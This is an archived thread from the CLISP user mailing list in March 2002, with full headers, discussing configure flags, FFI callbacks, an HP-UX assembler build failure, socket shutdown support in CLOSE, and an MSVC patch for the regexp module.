Mar 29 12:50:24 2002 X-Original-Date: Fri, 29 Mar 2002 21:33:13 +0100 Hi, On Fri, Mar 29, 2002 at 12:22:20PM -0500, Sam Steingold wrote: > > * In message <20020329073711.A16686@localhost.localdomain> > > * On the subject of "[clisp-list] configure bu... feature" > > * Sent on Fri, 29 Mar 2002 07:37:11 +0100 > > * Honorable Peter Wood writes: > > > > Specifying --with-noreadline to configure results in a suggestion to > > 'makemake --with-noreadline --with-readline [etc] > Makefile' > > which is plainly nonsense. > > what about --without-readline? > um, no ... To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd WOR ./makemake --without-readline --with-module=rl --with-readline --with-gettext --with-dynamic-ffi > Makefile Sam, this is just a tiny, minor blemish. Would you kindly, please, confirm or deny my statement that the ffi is broken (def-call-in)? I am digging through ancient archives of clisp trying to discover where it broke, and it is not ideal Friday night stuff. I would appreciate knowing that I have not just made some silly mistake, or that maybe it's my gcc, or libc. Can *you* get the sort example (example 29.5) in impnotes to build and run? Regards, Peter From samuel.steingold@verizon.net Fri Mar 29 15:41:35 2002 Received: from out018pub.verizon.net ([206.46.170.96] helo=out018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16r5zx-0000t7-00 for ; Fri, 29 Mar 2002 15:41:34 -0800 Received: from gnu.org ([151.203.48.85]) by out018.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020329234132.TWKV598.out018.verizon.net@gnu.org>; Fri, 29 Mar 2002 17:41:32 -0600 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] configure bu... feature References: <20020329073711.A16686@localhost.localdomain> <20020329213313.A28616@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020329213313.A28616@localhost.localdomain> Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 29 15:42:03 2002 X-Original-Date: 29 Mar 2002 18:42:03 -0500 > * In message <20020329213313.A28616@localhost.localdomain> > * On the subject of "Re: [clisp-list] configure bu... feature" > * Sent on Fri, 29 Mar 2002 21:33:13 +0100 > * Honorable Peter Wood writes: > > Would you kindly, please, confirm or deny my statement that the ffi is > broken (def-call-in)? I am digging through ancient archives of clisp > trying to discover where it broke, and it is not ideal Friday night > stuff. I would appreciate knowing that I have not just made some > silly mistake, or that maybe it's my gcc, or libc. > > Can *you* get the sort example (example 29.5) in impnotes to build and > run? I am not an FFI expert - Joerg is. I hope he will address this. I will try it though, when I have time. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! UNIX is a way of thinking. Windows is a way of not thinking. From peter.wood@worldonline.dk Fri Mar 29 21:35:50 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rBWm-000848-00 for ; Fri, 29 Mar 2002 21:35:48 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id E30BBB672 for ; Sat, 30 Mar 2002 06:35:44 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2U5Mui01597; Sat, 30 Mar 2002 06:22:56 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Reporting ffi broken Message-ID: <20020330062256.A167@localhost.localdomain> References: <20020328110637.A28441@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from tsabin@optonline.net on Fri, Mar 29, 2002 at 08:19:19PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Mar 29 21:36:08 2002 X-Original-Date: Sat, 30 Mar 2002 06:22:56 +0100 Hi, Thanks for your reply. On Fri, Mar 29, 2002 at 08:19:19PM -0500, Todd Sabin wrote: > Peter Wood writes: > > > Has anyone ever actually used def-call-in? Is anyone using it now? > > What Clisp version are you building with? If you have a working example > > with 'def-call-in' might I be allowed to see it, so I can discover > > what I am doing wrong? > > clg-0.51 uses def-c-call-in, and I've gotten it to build (required > some patches) and run ok with clisp-2.27, including callbacks. Have > you tried def-c-call-in? Your example code with def-call-in didn't > specify a language; maybe the default isn't what you expect? (Don't > really know, just guessing...) > > > Todd > I get the same result when I use def-c-call-in. However, if you could build clg with 2.27, I must be doing something wrong, since it uses def-c-call-in. If you have nothing against it, would you send me the patches you used to get it to build. Thanks again, Peter From nuzzart@ameritech.net Sat Mar 30 11:09:58 2002 Received: from mpdr0-0.chcgil.ameritech.net ([67.38.100.19] helo=mailhost.chi.ameritech.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rOEf-0003Nu-00 for ; Sat, 30 Mar 2002 11:09:57 -0800 Received: from ameritech.net ([67.36.190.23]) by mailhost.chi.ameritech.net (InterMail v4.01.01.07 201-229-111-110) with ESMTP id <20020330192527.LLWE29632.mailhost.chi.ameritech.net@ameritech.net> for ; Sat, 30 Mar 2002 13:25:27 -0600 Message-ID: <3CA60E27.EBB91E63@ameritech.net> From: "A. Nuzzo" X-Mailer: Mozilla 4.79 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Problem compiling Clisp 2.28 on HP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 11:10:13 2002 X-Original-Date: Sat, 30 Mar 2002 13:12:39 -0600 I am having a problem compiling Clisp 2.28 on my HP 10.20 system. First when I do the configure I get the following error: ... (cd .libs && rm -f libcallback.la && ln -s ../libcallback.la libcallback.la) make: warning: Clock skew detected. Your build may be incomplete. make: *** Warning: File `avcall.lo' has modification time in the future (2002-03-30 09:30:43 > 2002-03-30 09:30:03) gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c cc1: warning: -g is only supported when using GAS on this processor, cc1: warning: -g option disabled. /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a ./minitests > minitests.out uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 test '!' -s minitests.output.hppa2.0-hp-hpux10.20 make: *** [check] Error 1 To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd src ./makemake --prefix=/users/artn --with-readline --with-gettext > Makefile make config.lisp vi config.lisp make make check And this is where it dies when I run the make command: ... cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o || /bin/as arihppa.s -o arihppa.o arihppa.s: Assembler messages: arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' arihppa.s:8: Error: The .ENTER pseudo-op is not supported arihppa.s:30: Error: The .LEAVE pseudo-op is not supported arihppa.s: Assembler messages: arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493 Please report this bug. /bin/sh: /bin/as: not found. make: *** [arihppa.o] Error 127 artn@bs742> I am using gcc version 3.04 along with the latest GNU make, autoconf, and binutils to compile it. Thanks for any help, Art Nuzzo a.nuzzo@motorola.com From samuel.steingold@verizon.net Sat Mar 30 15:17:04 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rS5m-00021b-00 for ; Sat, 30 Mar 2002 15:17:02 -0800 Received: from gnu.org ([151.203.48.85]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020330231709.JFEL21585.out004.verizon.net@gnu.org> for ; Sat, 30 Mar 2002 17:17:09 -0600 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] shutdown(2) & sockets References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 15:18:30 2002 X-Original-Date: 30 Mar 2002 18:17:34 -0500 > * In message > * On the subject of "[clisp-list] shutdown(2) & sockets" > * Sent on 28 Mar 2002 19:10:19 -0500 > * Honorable Sam Steingold writes: > > I want to add a keyword arg :DIRECTION to CLOSE. > then > (close 2way-stream :direction :in) > is the same as > (close (two-way-input-stream 2way-stream)) > and > (close socket :direction in) > is the same as > shutdown(handle(socket),SHUT_RD); Done. I would appreciate it if non-autoconf platform (like woe32) users reported whether they have int shutdown(int, int); available on their systems. (the first argument may actually be something like HANDLE or Handle or Socket or ...) thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! If your VCR is still blinking 12:00, you don't want Linux. From samuel.steingold@verizon.net Sat Mar 30 15:21:42 2002 Received: from out012pub.verizon.net ([206.46.170.137] helo=out012.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rSAH-0003rG-00 for ; Sat, 30 Mar 2002 15:21:41 -0800 Received: from gnu.org ([151.203.48.85]) by out012.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020330232139.KAKW1346.out012.verizon.net@gnu.org>; Sat, 30 Mar 2002 17:21:39 -0600 To: "A. Nuzzo" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling Clisp 2.28 on HP References: <3CA60E27.EBB91E63@ameritech.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CA60E27.EBB91E63@ameritech.net> Message-ID: Lines: 36 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 15:22:25 2002 X-Original-Date: 30 Mar 2002 18:22:13 -0500 > * In message <3CA60E27.EBB91E63@ameritech.net> > * On the subject of "[clisp-list] Problem compiling Clisp 2.28 on HP" > * Sent on Sat, 30 Mar 2002 13:12:39 -0600 > * Honorable "A. Nuzzo" writes: > > gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a > ./minitests > minitests.out > uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 > test '!' -s minitests.output.hppa2.0-hp-hpux10.20 > make: *** [check] Error 1 this should be fixed in the CVS. > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o || > /bin/as arihppa.s -o arihppa.o > arihppa.s: Assembler messages: > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > arihppa.s:8: Error: The .ENTER pseudo-op is not supported > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported > arihppa.s: Assembler messages: > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493 > Please report this bug. > /bin/sh: /bin/as: not found. > make: *** [arihppa.o] Error 127 > artn@bs742> I think this is a GCC problem, not a CLISP one. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Those who can't write, write manuals. From ampy@ich.dvo.ru Sat Mar 30 17:07:36 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rTof-0005tn-00 for ; Sat, 30 Mar 2002 17:07:30 -0800 Received: from ppp73-3640.vtc.ru (ppp73-3640.vtc.ru [212.16.216.73]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2V173v2021193; Sun, 31 Mar 2002 12:07:04 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1611613750.20020331110809@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re[2]: [clisp-list] shutdown(2) & sockets In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 17:08:33 2002 X-Original-Date: Sun, 31 Mar 2002 11:08:09 +1000 Hello Sam, Sam> I would appreciate it if non-autoconf platform (like woe32) users Sam> reported whether they have Sam> int shutdown(int, int); Sam> available on their systems. Sam> (the first argument may actually be something like HANDLE or Handle or Sam> Socket or ...) That helps ? shutdown The Windows Sockets shutdown function disables sends or receives on a socket. int shutdown ( SOCKET s, int how ); Parameters s [in] Descriptor identifying a socket. how [in] Flag that describes what types of operation will no longer be allowed. Return Values If no error occurs, shutdown returns zero. Otherwise, a value of SOCKET_ERROR is returned, and a specific error code can be retrieved by calling WSAGetLastError. Error code Meaning WSANOTINITIALISED A successful WSAStartup call must occur before using this function. WSAENETDOWN The network subsystem has failed. WSAEINVAL The how parameter is not valid, or is not consistent with the socket type. For example, SD_SEND is used with a UNI_RECV socket type. WSAEINPROGRESS A blocking Windows Sockets 1.1 call is in progress, or the service provider is still processing a callback function. WSAENOTCONN The socket is not connected (connection-oriented sockets only). WSAENOTSOCK The descriptor is not a socket. Remarks The shutdown function is used on all types of sockets to disable reception, transmission, or both. If the how parameter is SD_RECEIVE, subsequent calls to the recv function on the socket will be disallowed. This has no effect on the lower protocol layers. For TCP sockets, if there is still data queued on the socket waiting to be received, or data arrives subsequently, the connection is reset, since the data cannot be delivered to the user. For UDP sockets, incoming datagrams are accepted and queued. In no case will an ICMP error packet be generated. If the how parameter is SD_SEND, subsequent calls to the send function are disallowed. For TCP sockets, a FIN will be sent after all data is sent and acknowledged by the receiver. Setting how to SD_BOTH disables both sends and receives as described above. The shutdown function does not close the socket. Any resources attached to the socket will not be freed until closesocket is invoked. To assure that all data is sent and received on a connected socket before it is closed, an application should use shutdown to close connection before calling closesocket. For example, to initiate a graceful disconnect: Call WSAAsyncSelect to register for FD_CLOSE notification. Call shutdown with how=SD_SEND. When FD_CLOSE received, call recv until zero returned, or SOCKET_ERROR. Call closesocket. Note The shutdown function does not block regardless of the SO_LINGER setting on the socket. An application should not rely on being able to reuse a socket after it has been shut down. In particular, a Windows Sockets provider is not required to support the use of connect on a socket that has been shut down. Notes for ATM There are important issues associated with connection teardown when using Asynchronous Transfer Mode (ATM) and Windows Sockets 2. For more information about these important considerations, see the section titled Notes for ATM in the Remarks section of the closesocket function reference. Requirements Version: Requires Windows Sockets 1.1 or later. Header: Declared in Winsock2.h. Library: Use Ws2_32.lib. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From samuel.steingold@verizon.net Sat Mar 30 17:28:14 2002 Received: from out004slb.verizon.net ([206.46.170.16] helo=out004.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rU8i-0004Ji-00 for ; Sat, 30 Mar 2002 17:28:12 -0800 Received: from gnu.org ([151.203.48.85]) by out004.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020331012818.JPCU21585.out004.verizon.net@gnu.org>; Sat, 30 Mar 2002 19:28:18 -0600 To: Arseny Slobodjuck Cc: clisp-list@sourceforge.net Subject: Re: Re[2]: [clisp-list] shutdown(2) & sockets References: <1611613750.20020331110809@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1611613750.20020331110809@ich.dvo.ru> Message-ID: Lines: 67 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 17:29:05 2002 X-Original-Date: 30 Mar 2002 20:28:44 -0500 Arseny, > * In message <1611613750.20020331110809@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] shutdown(2) & sockets" > * Sent on Sun, 31 Mar 2002 11:08:09 +1000 > * Honorable Arseny Slobodjuck writes: > > Sam> I would appreciate it if non-autoconf platform (like woe32) users > Sam> reported whether they have > Sam> int shutdown(int, int); > Sam> available on their systems. > Sam> (the first argument may actually be something like HANDLE or Handle or > Sam> Socket or ...) > > That helps ? yes, thanks! please try this: (setq s (socket-connect 80 "gnu.org")) ==> # (write-line "GET / HTTP/1.0" s) ==> "GET / HTTP/1.0" (close s :direction :output) ==> T (output-stream-p s) ==> NIL (read-line s) ==> "HTTP/1.1 200 OK" ; NIL (close s :direction :input) ==> T (input-stream-p s) ==> NIL (open-stream-p s) ==> NIL (close s) ==> T s ==> # (setq i (open "/dev/null" :direction :input) o (open "/dev/null" :direction :output) 2w (make-two-way-stream i o) e (make-echo-stream i o)) ==> # #> (close e :direction :input) *** - (SYSTEM::BUILT-IN-STREAM-CLOSE :INPUT) on # #> is illegal (close 2w :direction :input) ==> T 2w ==> # #> i ==> # thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! My inferiority complex is the only thing I can be proud of. From smk@users.sourceforge.net Sat Mar 30 17:32:08 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rUCV-0005ci-00 for ; Sat, 30 Mar 2002 17:32:07 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtp (Exim 3.33 #4) id 16rUCR-0000Ir-00 for clisp-list@lists.sourceforge.net; Sun, 31 Mar 2002 03:32:03 +0200 Received: from a2b25.pppool.de ([213.6.43.37] helo=users.sourceforge.net) by mx2.freenet.de with asmtp (ID stefan.kain@freenet.de) (Exim 3.33 #4) id 16rUCQ-0006wO-00 for clisp-list@lists.sourceforge.net; Sun, 31 Mar 2002 03:32:02 +0200 Message-ID: <3CA66767.38A65071@users.sourceforge.net> From: Stefan Kain X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10-4GB i686) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list Subject: Re: [clisp-list] Problem compiling Clisp 2.28 on HP References: <3CA60E27.EBB91E63@ameritech.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 17:33:09 2002 X-Original-Date: Sun, 31 Mar 2002 03:33:27 +0200 Hi, Sam Steingold wrote: > > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce > > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o || > > /bin/as arihppa.s -o arihppa.o > > arihppa.s: Assembler messages: > > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > > arihppa.s:8: Error: The .ENTER pseudo-op is not supported > > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported > > arihppa.s: Assembler messages: > > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493 > > Please report this bug. I would say, this is a problem of the assembler. When calling cc -c bla.s, which assembler is called on your plattform? whatever assembler it is, it just simply doesn't know the various pseudo-ops .shortdata, .ENTER, .LEAVE... maybe on HPPA, you should not use the binutils (GNU as) but the assembler supplied by the vendor?? I am not a lawyer, however. Wait a second... I have waded through the GNU as - docu: Have a look at: Using as ---> Pseudo Ops --> Machine Dependencies ---> HPPA-dependent ===== `.enter' Not yet supported; the assembler rejects programs containing this directive. ====== GNU as and the binutils will not help you. You need the assembler that is shipped with the system! > > /bin/sh: /bin/as: not found. try 'which as' on your system... maybe it is in /usr/bin instead of /bin ? if you find it, issue the command arihppa.s -o arihppa.o in your build-directory. I have had a look at the arihppa.s file. The comments are in German, I haven't translated them, yet. The stuff is not compiler-generated. Bruno has taken a few ideas from another project, as the comments state. I would assume that the original asm-code was handwritten with the features of the HPPA-assembler in mind, and not with the subset of ops and directives that go through GNU-as correctly. > > make: *** [arihppa.o] Error 127 > > artn@bs742> > > I think this is a GCC problem, not a CLISP one. I am not so sure about that. It depends on the point of view, I guess... :-) Bye, Stefan From samuel.steingold@verizon.net Sat Mar 30 18:27:29 2002 Received: from out002slb.verizon.net ([206.46.170.14] helo=out002.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rV3y-0004Po-00 for ; Sat, 30 Mar 2002 18:27:22 -0800 Received: from gnu.org ([151.203.48.85]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020331022725.KGLA16260.out002.verizon.net@gnu.org>; Sat, 30 Mar 2002 20:27:25 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] now you can use the regexp module on MS-Windows References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 98 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 18:28:05 2002 X-Original-Date: 30 Mar 2002 21:27:55 -0500 > * In message > * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows" > * Sent on Wed, 27 Mar 2002 15:24:45 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > here's a tiny patch to make the regexp module usable with the MS-VC6 > compiler. thanks! this is really great news, worthy of a release! > I believe some users of the win32 binary distribution would very much > appreciate for this module to be included in the binary. yes - I want to make the win32 binary distribution look just like a UNIX binary distribution: with "base" and "full" dirs &c. > I'd be thankful to the autoconf & Makefile experts could come up with > a scheme to automate generating and including the module. It's trivial > to do by hand, but possibly hard to fully automate. I appended the > makefile parts that I used. I think it is okay to have a separate hand-made win32 makefile, just like with FFCALL. > Since one of the patches is to regex.c, I don't know whether the > original GNU maintainers would be interested by portability, or if > some boycott applies. are you sure this is necessary? GNU Emacs does not have this special casing and it does work on win32. It might be an efficiency issue though. > gdiff -c3 ../../orig/ regex.c > *** ../../orig/regex.c Wed Jul 22 22:22:47 1998 > --- regex.c Fri Mar 22 15:58:38 2002 > *************** > *** 211,218 **** > --- 211,223 ---- > #if HAVE_ALLOCA_H > #include > #else /* not __GNUC__ or HAVE_ALLOCA_H */ > + #ifdef _MSC_VER /* Microsoft VC */ > + #include > + #define alloca _alloca > + #else > #ifndef _AIX /* Already did AIX, up at the top. */ > char *alloca (); > + #endif /* not MS-VC */ > #endif /* not _AIX */ > #endif /* not HAVE_ALLOCA_H */ > #endif /* not __GNUC__ */ do I understand correctly that without this the MS regexp would use malloc/free instead of alloca? I would rather not fork a separate CLISP version of this file. Emacs & glibc's versions of regex.c have diverged over the years and RMS recently declared that he wants them to merge (volunteers?) neither version has your MS code - so I will have to get it into the Emacs CVS tree ASAP, thus I need a justification for the change. > gdiff -c3 ../../orig/ regexi.c > *** ../../orig/regexi.c Wed Jul 22 22:22:50 1998 > --- regexi.c Fri Mar 22 15:28:22 2002 > *************** > *** 2,10 **** > /* Bruno Haible 14.4.1995 */ > > #include /* regex.h needs this */ > #include "regex.h" > > - #include /* declare malloc(), free() */ > > int mregcomp (ppreg,pattern,cflags) > regex_t* * ppreg; > --- 2,10 ---- > /* Bruno Haible 14.4.1995 */ > > #include /* regex.h needs this */ > + #include /* declare malloc(), free() */ > #include "regex.h" > > > int mregcomp (ppreg,pattern,cflags) > regex_t* * ppreg; > is this necessary? weird - it works on other platforms this way... > ++++++++++++++ hand-written modules/regexp/makefile for MSVC6 thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Diplomacy is the art of saying "nice doggy" until you can find a rock. From ampy@ich.dvo.ru Sat Mar 30 22:37:42 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rYyB-0002NV-00 for ; Sat, 30 Mar 2002 22:37:39 -0800 Received: from ppp106-AS-2.vtc.ru (ppp106-AS-2.vtc.ru [212.16.216.106]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g2V6bIv2014007; Sun, 31 Mar 2002 17:37:19 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <6821426880.20020331173821@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re[4]: [clisp-list] shutdown(2) & sockets In-reply-To: References: <1611613750.20020331110809@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 30 22:38:05 2002 X-Original-Date: Sun, 31 Mar 2002 17:38:21 +1000 Hello Sam, Sunday, March 31, 2002, 11:28:44 AM, you wrote: Sam> please try this: ... Works exactly same, just need /nul instead of /dev/null on win32. Msvc makefiles needs to be regenerated in cvs tree. It refers dirkey.lisp. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From tsabin@optonline.net Sun Mar 31 12:23:59 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16rlrp-0003zE-00 for ; Sun, 31 Mar 2002 12:23:57 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id PAA00370; Sun, 31 Mar 2002 15:23:50 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@sourceforge.net Subject: Re: [clisp-list] shutdown(2) & sockets References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "Thu, 28 Mar 2002 19:10:19 -0500") Message-ID: Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: 